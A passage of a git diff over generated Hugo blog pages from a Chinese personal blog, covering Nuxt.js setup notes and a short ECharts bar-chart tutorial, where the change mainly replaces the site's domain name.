href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>Nuxt.js学习笔记</h1><div class=post-meta><span title='2022-06-05 21:36:00 +0000 UTC'>2022-06-05</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/Nuxt.js%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>nuxt是一个基于vue的应用框架，用于创建服务端渲染应用，使用vite作为打包器，使用webpack作为构建工具</p><p>创建项目</p><p>yarn create nuxt-app test</p><p>需要做一些选择，例如：选择TypeScript，选择Yarn，选择UI框架等等</p><p>安装依赖</p><p>yarn</p><p>启动项目</p><p>yarn dev</p><p>构建打包</p><p>yarn build</p><p>yarn start</p><p>启动测试环境
+yarn test</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/vuejs/>vuejs</a></li><li><a href=https://chenjunlinabc.github.io/tags/nuxt.js/>Nuxt.js</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/153/><span class=title>« Prev</span><br><span>ECharts数据可视化图表库简单使用</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/150/><span class=title>Next »</span><br><span>简单使用Scoop包管理器</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/153/index.html b/posts/153/index.html
index 04b60053..93ab075c 100644
--- a/posts/153/index.html
+++ b/posts/153/index.html
@@ -1,47 +1,47 @@
 <!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>ECharts数据可视化图表库简单使用 | 小陈的个人博客</title><meta name=keywords content="ECharts"><meta name=description content="ECharts是基于JavaScript的数据可视化图表库
 安装
-npm install echarts --save
第一个实例
-import * as echarts from 'echarts'
let app = echarts.init(document.getElementById('app'), null, {
width: 800,
height: 500
})
let data = {
title: {
text: '用户管理'
},
tooltip:{},
legend: {
data: ['用户']
},
xAxis: {
data: [
'root','admin','user1','user2','user3'
]
},
yAxis: {},
series: [
{
name: '用户权限',
type: 'bar',
data: [
10,8,5,1,3
]
}
]
}
app.setOption(data)
注意：容器必须具备高度和宽度（这里的容器的id为app），要么html指定，要么在初始化时指定一个"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/153/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="ECharts数据可视化图表库简单使用"><meta property="og:description" content="ECharts是基于JavaScript的数据可视化图表库
+npm install echarts --save 第一个实例
+import * as echarts from 'echarts' let app = echarts.init(document.getElementById('app'), null, { width: 800, height: 500 }) let data = { title: { text: '用户管理' }, tooltip:{}, legend: { data: ['用户'] }, xAxis: { data: [ 'root','admin','user1','user2','user3' ] }, yAxis: {}, series: [ { name: '用户权限', type: 'bar', data: [ 10,8,5,1,3 ] } ] } app.setOption(data) 注意：容器必须具备高度和宽度（这里的容器的id为app），要么html指定，要么在初始化时指定一个"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/153/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="ECharts数据可视化图表库简单使用"><meta property="og:description" content="ECharts是基于JavaScript的数据可视化图表库
 安装
-npm install echarts --save
第一个实例
-import * as echarts from 'echarts'
let app = echarts.init(document.getElementById('app'), null, {
width: 800,
height: 500
})
let data = {
title: {
text: '用户管理'
},
tooltip:{},
legend: {
data: ['用户']
},
xAxis: {
data: [
'root','admin','user1','user2','user3'
]
},
yAxis: {},
series: [
{
name: '用户权限',
type: 'bar',
data: [
10,8,5,1,3
]
}
]
}
app.setOption(data)
注意：容器必须具备高度和宽度（这里的容器的id为app），要么html指定，要么在初始化时指定一个"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/153/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-06-18T00:12:00+00:00"><meta property="article:modified_time" content="2022-06-18T00:12:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="ECharts数据可视化图表库简单使用"><meta name=twitter:description content="ECharts是基于JavaScript的数据可视化图表库
+npm install echarts --save 第一个实例
+import * as echarts from 'echarts' let app = echarts.init(document.getElementById('app'), null, { width: 800, height: 500 }) let data = { title: { text: '用户管理' }, tooltip:{}, legend: { data: ['用户'] }, xAxis: { data: [ 'root','admin','user1','user2','user3' ] }, yAxis: {}, series: [ { name: '用户权限', type: 'bar', data: [ 10,8,5,1,3 ] } ] } app.setOption(data) 注意：容器必须具备高度和宽度（这里的容器的id为app），要么html指定，要么在初始化时指定一个"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/153/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-06-18T00:12:00+00:00"><meta property="article:modified_time" content="2022-06-18T00:12:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="ECharts数据可视化图表库简单使用"><meta name=twitter:description content="ECharts是基于JavaScript的数据可视化图表库
 安装
-npm install echarts --save
第一个实例
-import * as echarts from 'echarts'
let app = echarts.init(document.getElementById('app'), null, {
width: 800,
height: 500
})
let data = {
title: {
text: '用户管理'
},
tooltip:{},
legend: {
data: ['用户']
},
xAxis: {
data: [
'root','admin','user1','user2','user3'
]
},
yAxis: {},
series: [
{
name: '用户权限',
type: 'bar',
data: [
10,8,5,1,3
]
}
]
}
app.setOption(data)
注意：容器必须具备高度和宽度（这里的容器的id为app），要么html指定，要么在初始化时指定一个"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"ECharts数据可视化图表库简单使用","item":"https://xiaochenabc123.github.io/posts/153/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"ECharts数据可视化图表库简单使用","name":"ECharts数据可视化图表库简单使用","description":"ECharts是基于JavaScript的数据可视化图表库\n安装\nnpm install echarts --save\r第一个实例\nimport * as echarts from 'echarts'\rlet app = echarts.init(document.getElementById('app'), null, {\rwidth: 800,\rheight: 500\r})\rlet data = {\rtitle: {\rtext: '用户管理'\r},\rtooltip:{},\rlegend: {\rdata: ['用户']\r},\rxAxis: {\rdata: [\r'root','admin','user1','user2','user3'\r]\r},\ryAxis: {},\rseries: [\r{\rname: '用户权限',\rtype: 'bar',\rdata: [\r10,8,5,1,3\r]\r}\r]\r}\rapp.setOption(data)\r注意：容器必须具备高度和宽度（这里的容器的id为app），要么html指定，要么在初始化时指定一个","keywords":["ECharts"],"articleBody":"ECharts是基于JavaScript的数据可视化图表库\n安装\nnpm install echarts --save\r第一个实例\nimport * as echarts from 'echarts'\rlet app = echarts.init(document.getElementById('app'), null, {\rwidth: 800,\rheight: 500\r})\rlet data = {\rtitle: {\rtext: '用户管理'\r},\rtooltip:{},\rlegend: {\rdata: ['用户']\r},\rxAxis: {\rdata: [\r'root','admin','user1','user2','user3'\r]\r},\ryAxis: {},\rseries: [\r{\rname: '用户权限',\rtype: 'bar',\rdata: [\r10,8,5,1,3\r]\r}\r]\r}\rapp.setOption(data)\r注意：容器必须具备高度和宽度（这里的容器的id为app），要么html指定，要么在初始化时指定一个\n","wordCount":"64","inLanguage":"en","datePublished":"2022-06-18T00:12:00Z","dateModified":"2022-06-18T00:12:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/153/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>ECharts数据可视化图表库简单使用</h1><div class=post-meta><span title='2022-06-18 00:12:00 +0000 UTC'>2022-06-18</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/ECharts%e6%95%b0%e6%8d%ae%e5%8f%af%e8%a7%86%e5%8c%96%e5%9b%be%e8%a1%a8%e5%ba%93%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>ECharts是基于JavaScript的数据可视化图表库</p><p>安装</p><pre><code>npm install echarts --save
-</code></pre><p>第一个实例</p><pre><code>import * as echarts from 'echarts'
-let app = echarts.init(document.getElementById('app'), null, {
-    width: 800,
-    height: 500
-})
-let data = {
-    title: {
-        text: '用户管理'
-    },
-    tooltip:{},
-    legend: {
-        data: ['用户']
-    },
-    xAxis: {
-        data: [
-            'root','admin','user1','user2','user3'
-        ]
-    },
-    yAxis: {},
-    series: [
-        {
-            name: '用户权限',
-            type: 'bar',
-            data: [
-                10,8,5,1,3
-            ]
-        }
-    ]
-    
-}
-app.setOption(data)
-</code></pre><p>注意：容器必须具备高度和宽度（这里的容器的id为app），要么html指定，要么在初始化时指定一个</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/echarts/>ECharts</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/154/><span class=title>« Prev</span><br><span>简单使用PWA技术</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/152/><span class=title>Next »</span><br><span>Nuxt.js学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+npm install echarts --save 第一个实例
+import * as echarts from 'echarts' let app = echarts.init(document.getElementById('app'), null, { width: 800, height: 500 }) let data = { title: { text: '用户管理' }, tooltip:{}, legend: { data: ['用户'] }, xAxis: { data: [ 'root','admin','user1','user2','user3' ] }, yAxis: {}, series: [ { name: '用户权限', type: 'bar', data: [ 10,8,5,1,3 ] } ] } app.setOption(data) 注意：容器必须具备高度和宽度（这里的容器的id为app），要么html指定，要么在初始化时指定一个"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"ECharts数据可视化图表库简单使用","item":"https://chenjunlinabc.github.io/posts/153/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"ECharts数据可视化图表库简单使用","name":"ECharts数据可视化图表库简单使用","description":"ECharts是基于JavaScript的数据可视化图表库\n安装\nnpm install echarts --save 第一个实例\nimport * as echarts from 'echarts' let app = echarts.init(document.getElementById('app'), null, { width: 800, height: 500 }) let data = { title: { text: '用户管理' }, tooltip:{}, legend: { data: ['用户'] }, xAxis: { data: [ 'root','admin','user1','user2','user3' ] }, yAxis: {}, series: [ { name: '用户权限', type: 'bar', data: [ 10,8,5,1,3 ] } ] } app.setOption(data) 注意：容器必须具备高度和宽度（这里的容器的id为app），要么html指定，要么在初始化时指定一个","keywords":["ECharts"],"articleBody":"ECharts是基于JavaScript的数据可视化图表库\n安装\nnpm install echarts --save 第一个实例\nimport * as echarts from 'echarts' let app = echarts.init(document.getElementById('app'), null, { width: 800, height: 500 }) let data = { title: { text: '用户管理' }, tooltip:{}, legend: { data: ['用户'] }, xAxis: { data: [ 'root','admin','user1','user2','user3' ] }, yAxis: {}, series: [ { name: '用户权限', type: 'bar', data: [ 10,8,5,1,3 ] } ] } app.setOption(data) 注意：容器必须具备高度和宽度（这里的容器的id为app），要么html指定，要么在初始化时指定一个\n","wordCount":"64","inLanguage":"en","datePublished":"2022-06-18T00:12:00Z","dateModified":"2022-06-18T00:12:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/153/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>ECharts数据可视化图表库简单使用</h1><div class=post-meta><span title='2022-06-18 00:12:00 +0000 UTC'>2022-06-18</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/ECharts%e6%95%b0%e6%8d%ae%e5%8f%af%e8%a7%86%e5%8c%96%e5%9b%be%e8%a1%a8%e5%ba%93%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>ECharts是基于JavaScript的数据可视化图表库</p><p>安装</p><pre><code>npm install echarts --save
+</code></pre><p>第一个实例</p><pre><code>import * as echarts from 'echarts'
+let app = echarts.init(document.getElementById('app'), null, {
+    width: 800,
+    height: 500
+})
+let data = {
+    title: {
+        text: '用户管理'
+    },
+    tooltip:{},
+    legend: {
+        data: ['用户']
+    },
+    xAxis: {
+        data: [
+            'root','admin','user1','user2','user3'
+        ]
+    },
+    yAxis: {},
+    series: [
+        {
+            name: '用户权限',
+            type: 'bar',
+            data: [
+                10,8,5,1,3
+            ]
+        }
+    ]
+    
+}
+app.setOption(data)
+</code></pre><p>注意：容器必须具备高度和宽度（这里的容器的id为app），要么html指定，要么在初始化时指定一个</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/echarts/>ECharts</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/154/><span class=title>« Prev</span><br><span>简单使用PWA技术</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/152/><span class=title>Next »</span><br><span>Nuxt.js学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/154/index.html b/posts/154/index.html
index 00efaf7f..7adc2304 100644
--- a/posts/154/index.html
